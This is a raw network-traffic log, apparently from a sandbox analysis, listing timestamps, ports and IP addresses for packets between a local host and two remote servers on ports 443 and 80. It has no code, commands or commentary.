Nov 20, 2024 18:57:47.905071020 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.905081034 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.905122995 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.906455040 CET	49862	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.906471968 CET	443	49862	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.960231066 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.960258007 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.960273981 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.960305929 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.960325956 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:47.960352898 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:47.960403919 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.131156921 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:48.131277084 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.131298065 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:48.131344080 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.131411076 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:48.131429911 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.131436110 CET	443	49861	20.103.156.88	192.168.2.6
Nov 20, 2024 18:57:48.131458044 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.131458044 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.131478071 CET	49861	443	192.168.2.6	20.103.156.88
Nov 20, 2024 18:57:48.161598921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.161665916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.161784887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.161797047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.161830902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.161837101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.161850929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.161878109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.161906004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.162626028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.162683010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.162691116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.162715912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.163675070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.163728952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.163798094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.163832903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.164248943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.164305925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.164372921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.164412975 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.165112972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.165169954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.165234089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.165270090 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.165956974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.166001081 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.166027069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.166062117 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.166663885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.166707993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.167067051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.167108059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.167469978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.167512894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.167712927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.167768002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.168309927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.168359995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.168483019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.168622017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.169112921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.169162989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.169337034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.169384003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.170000076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.170042992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.170142889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.170192003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.170758009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.170803070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.170880079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.170917034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.171570063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.171631098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.171708107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.171751022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.172384977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.172430038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.172493935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.172667027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.173187971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.173228979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.173324108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.173362970 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.173976898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.174019098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.174201965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.174472094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.174850941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.174890995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.175004005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.175043106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.175646067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.175685883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.175730944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.175770998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.176425934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.176465034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.176547050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.176668882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.177206993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.177247047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.177432060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.177472115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.178056002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.178095102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.178139925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.178184986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.178946018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.178993940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.178994894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.179028034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.179676056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.179738045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.179809093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.179975033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.180521965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.180568933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.180568933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.180603981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.181307077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.181358099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.181484938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.181521893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.182151079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.182225943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.182280064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.182317019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.182907104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.182954073 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.183013916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.183170080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.183795929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.183840990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.183857918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.183892012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.184608936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.184731007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.184753895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.184773922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.185386896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.185400963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.185434103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.185480118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.186183929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.186227083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.186316013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.186378002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.187001944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.187086105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.187123060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.188478947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.188539982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.188606977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.188621044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.188646078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.188694954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.188729048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.188921928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.189460039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.189501047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.189512968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.189549923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.190229893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.190268993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.190346956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.190713882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.191163063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.191206932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.191241980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.191871881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.191909075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.191997051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.192078114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.192698002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.192734003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.192955017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.192991972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.193506002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.193541050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.193545103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.193577051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.194346905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.194382906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.194480896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.194518089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.195096016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.195131063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.195262909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.195301056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.195889950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.195929050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.195929050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.195961952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.196724892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.196763992 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.196820021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.196852922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.197740078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.197752953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.197778940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.197798014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.198354959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.198389053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.198508024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.198540926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.199131012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.199171066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.199245930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.199405909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.199954033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.200007915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.200063944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.200490952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.200795889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.200834036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.200910091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.200943947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.201673031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.201714039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.201726913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.201751947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.202451944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.202501059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.202528954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.202563047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.203646898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.203680992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.203716993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.204034090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.204164028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.204199076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.205005884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.205080032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.205102921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.205136061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.373017073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.373044968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.373106956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.373106956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.373289108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.373377085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.373420000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.374187946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.374243021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.374331951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.374377012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.374949932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.374990940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.375060081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.375101089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.375724077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.375792980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.375848055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.376528025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.376569986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.376666069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.376708031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.377517939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.377557039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.377564907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.377604008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.378232956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.378247023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.378348112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.378998041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.379111052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.379151106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.379770041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.379828930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.379877090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.379918098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.380605936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.380647898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.380702019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.380738020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.381409883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.381449938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.381479025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.381525040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.382280111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.382323027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.382364988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.382406950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.383028984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.383107901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.383210897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.383804083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.383851051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.383939028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.383984089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.384646893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.384686947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.384797096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.384836912 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.385566950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.385612965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.385657072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.385699034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.386296034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.386339903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.386454105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.386493921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.387087107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.387134075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.387195110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.387903929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.387945890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.388015032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.388081074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.388712883 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.388762951 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.388796091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.388834953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.389506102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.389549017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.389617920 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.389659882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.390333891 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.390412092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.390443087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.390455961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.391155005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.391252995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.391274929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.391310930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.391983032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.392035007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.392096996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.392604113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.395788908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.395812988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.395838976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.395870924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.395939112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.395951033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.395977020 CET	80	49794	185.215.113.206	192.168.2.6
